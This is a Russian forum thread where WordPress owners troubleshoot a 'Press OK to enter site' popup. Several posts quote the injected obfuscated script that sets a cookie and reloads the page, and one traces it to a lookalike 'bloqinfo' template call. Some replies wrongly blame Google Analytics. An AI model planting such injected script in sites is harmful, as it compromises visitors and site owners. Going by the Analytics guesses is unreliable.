[k0missar]

Когда захожу в любую статью выдает сообщение Press Ok to enter site
Почему и как исправить?

qqdps.ru

[DarkAngel-163]

<script>var _0xdd82=["cookie","realauth=iGdkiRXqXQa","location"];if (confirm('Press OK to enter site.')){ document[_0xdd82[0]]=_0xdd82[1];document[_0xdd82[2]]=document[_0xdd82[2]];}</script>

Вроде как эта строчка выводит модальное окно. Незнаю что она делает, попробуй удалить. Раз она в статьях, то ищи в single.php

[k0missar]

да походу каму то мои куки понадобились... странно...

в коде сайта нет этого кода, может в базе? как проверить?

[mr. Dr]

и у меня такая же фигня на WP вчера вылезла, откуда не ясно.
что делать пока тоже не ясно

[ArhStrAngeR]

Отключи гугл аналитикс, на нем зависает почему-то

[InFakes]

Я тоже грешу на Аналитику Гугла, у моего знакомого была такая же проблема, смена шаблона помогла, также ему помогли бэкапы базы данных, которые приходят каждый день на почту. Видимо, это новая дыра в ВП.

[mr. Dr]

у меня нет там аналитики, только LI

[InFakes]

mr. Dr, есть)

(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();

---------- Сообщение добавлено 12:32 ---------- Предыдущее 12:25 ----------

Кстати, использование программ для создания шаблонов не уменьшает риск появления таких вот аномалий. Через Артистик было все сделано?

[VictorDmitriev]

блин, у меня тоже такое окошко вылазит и только на главной, вот смотрите http://victordmitriev.ru
че делать? это окошко стало выходить вчера.

Если у кого получилось, отпишитесь пожалуйста что сделали и тп.

[mr. Dr]

пост выводится

<div class="post" id="post-<?php the_ID(); ?>"><?=bloqinfo($post->ID) ?>

и как раз там вылазит это

<div class="post" id="post-9547"><script>var _0xdd82=["cookie","realauth=iGdkiRXqXQa","location"];if (confirm('Press OK to enter site.')){ document[_0xdd82[0]]=_0xdd82[1];document[_0xdd82[2]]=document[_0xdd82[2]];}</script>

какая аналитика в том месте выводится ?

---------- Сообщение добавлено 17:31 ---------- Предыдущее 17:17 ----------

короче это взлом сайта.
щас буду думать дальше куда копать

---------- Сообщение добавлено 17:32 ---------- Предыдущее 17:31 ----------

прогнал VPS clamaw ниче не нашел...
наверно SQL иньекция, пошел думать.